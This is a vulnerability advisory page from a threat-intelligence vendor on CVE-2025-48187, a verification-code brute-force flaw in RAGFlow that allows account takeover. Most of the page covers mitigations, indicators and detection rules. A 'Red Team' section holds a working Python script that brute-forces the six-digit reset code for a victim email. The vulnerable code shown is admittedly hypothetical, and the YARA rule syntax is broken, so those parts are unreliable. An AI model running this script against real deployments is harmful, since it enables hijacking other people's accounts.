☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-48187

CVE-2025-48187 Security Advisory in Ragflow
📅 PUBLISHED: 2025-05-17 00:00 UTC 🔄 UPDATED: 2026-10-09 05:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.54%
👁️
0.54% probability
13.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-48187 is a critical vulnerability in RAGFlow, an open-source Retrieval-Augmented Generation (RAG) engine, affecting versions up to and including 0.18.1. The flaw allows a remote, unauthenticated attacker to perform brute-force attacks against email verification codes used during account registration, login, and password reset processes. Because the verification code is a six-digit numeric value (10^6 = 1,000,000 combinations) and there is no rate limiting or CAPTCHA, an attacker can systematically guess all possible codes. Successful exploitation leads to arbitrary account takeover, including registration of new accounts, login as any existing user, and password reset for any account. The CVSS score of 9.1 (Critical) reflects the ease of exploitation, lack of authentication requirements, and high impact on confidentiality, integrity, and availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

RAGFlow is a Python-based project distributed via Docker images and source code from GitHub. The vulnerability exists in the application logic, not in a third-party package. However, the lack of rate limiting is a design flaw that could be introduced by misconfiguration or missing middleware. Organizations using RAGFlow should verify they are not running version 0.18.1 or earlier and should monitor for official patches or workarounds.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.1 (Critical)
  • Attack Vector (AV): Network – The attack can be launched remotely over the network.
  • Attack Complexity (AC): Low – No special conditions or race conditions required.
  • Privileges Required (PR): None – No authentication needed to start the attack.
  • User Interaction (UI): None – No user action required.
  • Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High – Full account takeover leads to access to all user data.
  • Integrity (I): High – Attacker can modify account details, reset passwords, and perform actions as the victim.
  • Availability (A): High – Attacker can lock out legitimate users by changing credentials.

Threat Level: Critical. The attack is trivial to execute with basic scripting skills and no prior access. The impact is complete account compromise.

Deep Dive & Mechanics

The vulnerability resides in the email verification code mechanism used for:

  • Account Registration: A verification code is sent to the user's email to confirm ownership.
  • Login: Some implementations may use email codes for passwordless login.
  • Password Reset: A code is sent to the user's email to authorize a password change.

The code is a six-digit numeric string (000000 to 999999). The application does not implement any of the following:

  • Rate Limiting: No restriction on the number of attempts per IP, per user, or per session.
  • CAPTCHA: No challenge-response test to prevent automated requests.
  • Account Lockout: No temporary or permanent lockout after multiple failed attempts.
  • Code Expiration: The code may remain valid for an extended period, increasing the window for brute-force.

An attacker can:

  1. Initiate a password reset or registration for a target email address.
  2. Receive the verification code (or not, as the attacker does not need to see it).
  3. Send a series of HTTP requests to the verification endpoint, each with a different six-digit code.
  4. Continue until a valid code is found. With 1,000,000 possibilities and no rate limiting, this can be completed in minutes to hours depending on network latency and server response time.

The attack does not require access to the victim's email; the attacker only needs to know the victim's email address.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the vulnerable code pattern. The vulnerable implementation likely looks like this:

Vulnerable Code (Python/Flask example):

@app.route('/verify', methods=['POST'])
def verify_code():
    email = request.form['email']
    code = request.form['code']
    # No rate limiting, no CAPTCHA
    stored_code = get_stored_code(email)
    if code == stored_code:
        # Allow action (register, login, reset)
        return jsonify(success=True)
    else:
        return jsonify(success=False), 400

Patched Code (Hypothetical):

from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(key_func=get_remote_address)

@app.route('/verify', methods=['POST'])
@limiter.limit("5 per minute")  # Rate limit
def verify_code():
    email = request.form['email']
    code = request.form['code']
    # Also implement CAPTCHA
    if not verify_captcha(request.form.get('captcha')):
        return jsonify(error="CAPTCHA required"), 400
    stored_code = get_stored_code(email)
    if code == stored_code:
        # Allow action
        return jsonify(success=True)
    else:
        return jsonify(success=False), 400

The key differences are:

  • Rate Limiting: Using a library like Flask-Limiter to restrict attempts per IP.
  • CAPTCHA: Adding a challenge-response test.
  • Code Expiration: Shortening the validity window (e.g., 5 minutes).
  • Account Lockout: Locking the account after 10 failed attempts.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target RAGFlow instance (version <= 0.18.1) with email verification enabled.
  • Victim's email address (e.g., victim@example.com).
  • Python 3 with requests library.

Exploit Script:

import requests
import itertools

target_url = "https://target-ragflow.com/verify"
victim_email = "victim@example.com"

# Step 1: Initiate password reset (or registration)
init_url = "https://target-ragflow.com/initiate_reset"
requests.post(init_url, data={"email": victim_email})

# Step 2: Brute-force the 6-digit code
for code in itertools.product('0123456789', repeat=6):
    code_str = ''.join(code)
    response = requests.post(target_url, data={
        "email": victim_email,
        "code": code_str
    })
    if response.status_code == 200 and response.json().get('success'):
        print(f"Valid code found: {code_str}")
        # Step 3: Use the code to reset password or login
        break

Expected Outcome: The script will eventually find a valid code, allowing the attacker to reset the victim's password and take over the account.

Blue Team (Defense & Detection)

Immediate Mitigation (No Patch):

  • Implement rate limiting at the web server level (e.g., Nginx limit_req module) to restrict requests to the verification endpoint.
  • Add CAPTCHA (e.g., reCAPTCHA) to the verification form.
  • Increase code length (e.g., 8 alphanumeric characters) to make brute-force infeasible.
  • Implement account lockout after 5 failed attempts.
  • Shorten code expiration to 5 minutes.

Detection Rules:

  • Monitor for high volumes of requests to /verify or similar endpoints from a single IP.
  • Alert on multiple failed verification attempts for the same email within a short time window.
  • Log all verification attempts with timestamps, IPs, and email addresses.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • High frequency of HTTP POST requests to /verify, /reset_password, /register endpoints.
    • Requests containing sequential or random six-digit codes in the code parameter.
    • Multiple requests from the same IP address within seconds.
  • Log IOCs:
    • Log entries showing repeated 400 or 403 responses from verification endpoints.
    • Log entries with success=False for the same email address in rapid succession.
  • System IOCs:
    • Unauthorized password reset or account registration events.
    • New user accounts created without corresponding email verification (if attacker bypasses verification).

Detection Engineering

YARA Rule

rule CVE_2025_48187_RAGFlow_BruteForce {
    meta:
        description = "Detects brute-force attempts against RAGFlow email verification codes"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-48187"
    strings:
        $code_param = "code=" ascii wide nocase
        $email_param = "email=" ascii wide nocase
        $verify_path = "/verify" ascii wide nocase
        $reset_path = "/reset_password" ascii wide nocase
        $register_path = "/register" ascii wide nocase
    condition:
        any of ($verify_path, $reset_path, $register_path) and
        $code_param and $email_param and
        # of unique code values > 100
}

Sigma Rule

title: RAGFlow Email Verification Brute-Force
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple failed email verification attempts in RAGFlow
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: ragflow
detection:
    selection:
        endpoint: "/verify"
        response_status: 400
        response_body: "success\":false"
    timeframe: 5m
    condition:
        selection | count() by src_ip > 100
falsepositives:
    - Legitimate users with network issues
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-48187 RAGFlow Email Verification Brute-Force Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/verify"; http_uri;
    content:"code="; http_client_body;
    content:"email="; http_client_body;
    threshold: type both, track by_src, count 100, seconds 300;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions (No Official Patch):

  1. Rate Limiting: Configure Nginx or Apache to limit requests to the verification endpoint. Example Nginx config:
    limit_req_zone $binary_remote_addr zone=verify:10m rate=5r/m;
    server {
        location /verify {
            limit_req zone=verify burst=10 nodelay;
            proxy_pass http://backend;
        }
    }
    
  2. CAPTCHA: Integrate reCAPTCHA or hCaptcha into the verification form.
  3. Increase Code Complexity: Change the verification code to 8 alphanumeric characters (62^8 = 218 trillion combinations).
  4. Account Lockout: Implement temporary lockout after 5 failed attempts for the same email.
  5. Code Expiration: Set verification code expiration to 5 minutes.
  6. Monitor Logs: Enable detailed logging and alerting on verification failures.

Long-Term Fix:

  • Apply the official patch once released by RAGFlow.
  • Upgrade to a patched version (e.g., > 0.18.1).
  • Conduct a security audit of the authentication flow.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters.it.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-48187/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.